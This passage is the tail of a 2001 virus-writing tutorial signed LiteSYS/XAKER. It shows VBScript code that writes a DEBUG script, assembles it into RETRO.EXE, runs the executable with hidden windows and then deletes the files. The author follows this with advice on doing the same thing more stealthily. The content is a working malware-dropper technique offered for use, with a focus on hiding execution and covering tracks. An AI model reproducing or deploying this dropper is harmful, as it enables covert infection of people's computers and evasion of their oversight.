Fil.WriteLine("e 10E0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 10F0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ")
Fil.WriteLine("e 1100 0 ")
Fil.WriteLine("rcx")
Fil.WriteLine("1000")
Fil.WriteLine("w")
Fil.WriteLine("q")
Fil.Close

Com = WSS.ExpandEnvironmentStrings("%COMSPEC%")
WSS.Run Com & " /C DEBUG < RETRO.SCR > NUL", SW_HIDE, TRUE
WSS.Run Com & " /C REN RETRO.DAT RETRO.EXE", SW_HIDE, TRUE
WSS.Run "RETRO.EXE", SW_HIDE, TRUE
WSS.Run Com & " /C DEL RETRO.SCR", SW_HIDE, TRUE
WSS.RUN Com & " /C DEL RETRO.EXE", SW_HIDE, TRUE
--------------------------------

This is not a fast and stealthy way so it's better to use some Chrs
in your code instead of the debug script to do it, but i am to lazy
to write some code so you may find the way...

That's all.

If you have any question/correction/comment feel entirely free to
mail me at liteno2@softhome.net. Constructive critics and corrections
are well appreciated.

Peace,
LiteSYS/XAKER - Venezuela 2001.